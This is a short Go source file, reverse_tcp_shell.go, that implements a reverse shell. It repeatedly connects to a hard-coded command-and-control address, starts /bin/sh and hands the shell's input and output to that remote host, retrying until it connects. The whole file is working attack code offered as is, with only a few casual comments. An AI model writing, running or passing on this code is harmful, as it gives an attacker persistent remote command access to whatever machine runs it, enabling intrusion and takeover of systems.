reverse_tcp_shell.go

package main

import "os/exec"
import "net"

func main() {
  	// require metadata
	c2IP := "192.168.1.1"
	port := "80"

	for {
   		// create plaintext tcp connection to c2
		c2, err := net.Dial("tcp", c2IP + ":" + port)

		if err != nil {
			continue // let's try again!
		}

    		// spawn a system shell
		shell := exec.Command("/bin/sh")

    		// pass the shell's acitivity to the c2
		shell.Stdin = c2
		shell.Stdout = c2
		shell.Stderr = c2

    		// let'r run!
		shell.Run()
	}
}